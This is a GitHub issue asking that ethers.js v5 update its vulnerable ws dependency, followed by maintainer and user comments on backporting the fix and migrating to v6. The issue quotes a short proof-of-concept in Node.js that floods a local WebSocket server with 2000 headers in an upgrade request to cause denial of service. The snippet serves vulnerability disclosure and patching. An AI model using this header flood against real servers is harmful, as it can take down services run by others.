Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix DoS vulnerability caused by ws dependency on v5 #4791

Open
cgero-eth opened this issue Jul 24, 2024 · 7 comments
Open

Fix DoS vulnerability caused by ws dependency on v5 #4791

cgero-eth opened this issue Jul 24, 2024 · 7 comments
Assignees
Labels
on-deck This Enhancement or Bug is currently being worked on. v5 Issues regarding legacy-v5

Comments

@cgero-eth
Copy link

cgero-eth commented Jul 24, 2024

Ethers Version

5.7.2

Search Terms

ws, vulnerability, DoS, v5

Describe the Problem

Ethers.js v5.7.2 depends on a vulnerable version of the ws package. The vulnerability allows DoS attack. The ws package must be updated to version >= 8.17.1 to fix the vulnerability.

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

Code Snippet

From Dependabot:

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Contract ABI

N/A

Errors

N/A

Environment

Ethereum (mainnet/ropsten/rinkeby/goerli), Altcoin - Please specify (e.g. Polygon), node.js (v12 or newer), Browser (Chrome, Safari, etc)

Environment (Other)

No response

@cgero-eth cgero-eth added investigate Under investigation and may be a bug. v5 Issues regarding legacy-v5 labels Jul 24, 2024
@ricmoo
Copy link
Member

ricmoo commented Jul 24, 2024

Thanks for the snippet.

This was addressed when the exploit was announced in v6, but it certainly makes sense to port back into v5 as it is still widely used.

@ricmoo ricmoo added on-deck This Enhancement or Bug is currently being worked on. and removed investigate Under investigation and may be a bug. labels Jul 24, 2024
@netzulo
Copy link

netzulo commented Aug 13, 2024

lol, just a merge need it on v5 ? please, resolve this, easy to close :D

@ricmoo
Copy link
Member

ricmoo commented Aug 13, 2024

It’s not really “easy to close”… The v5 branch is 2.5 years old; I’ve spent the last week carefully updating the tests (migrating from Goerli to Sepolia, redeploying contracts, etc), deployment scripts and other dev dependencies though and it is almost ready with the updated ws package. :)

It still has 650k downloads per week though, so important not to bork and make sure the change is well tested. :)

@airdropross
Copy link

Hey @ricmoo any status update here? We are also trying to patch this vulnerability in our codebase and would love to continue using your incredible ethers library!

@ricmoo
Copy link
Member

ricmoo commented Sep 16, 2024

@airdropross I'm still working on this. The problem is that many of the devtools that ethers v5 depended on have drifted out of support.

One of the biggest issues has been Karma has become deprecated, which is responsible to the CI ensuring correct behaviour in browsers. In v6 I wrote my own tool to replace it, but since v5 is over 2 years old, it's been harder to figure out the best path forward; porting the v6 test framework back to v5 or try a more recent (but still deprecated Karma) package.

I believe I have found a viable path forward though, at least for the near future for keeping v5 tested before publishing.

I'd also love to help projects out, if they need it, to migrate to v6. Is there a reason for holding off migration to v6? Dependencies? I am looking for information on those too, to help dependencies migrate. :)

@silverpill
Copy link

I'd also love to help projects out, if they need it, to migrate to v6. Is there a reason for holding off migration to v6? Dependencies? I am looking for information on those too, to help dependencies migrate. :)

@ricmoo For me one of the reasons is bundle size. Ethers is already the heaviest dependency in my app and migrating from 5.6.9 to 6.13.2 adds another 42 kBytes (I only use Web3Provider; the bundler is Rollup which should do tree-shaking)

@samuel-kim-mesh
Copy link

Hey @ricmoo any updates here? I would migrate to V6 but I am currently working with a ledger library that has a dependency on v5. I have an open ticket with them: LedgerHQ/ledger-live#8173, but I do not think they are looking into it.. Thank you for taking a look and I can definitely help if necessary!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
on-deck This Enhancement or Bug is currently being worked on. v5 Issues regarding legacy-v5
Projects
None yet
Development

No branches or pull requests

6 participants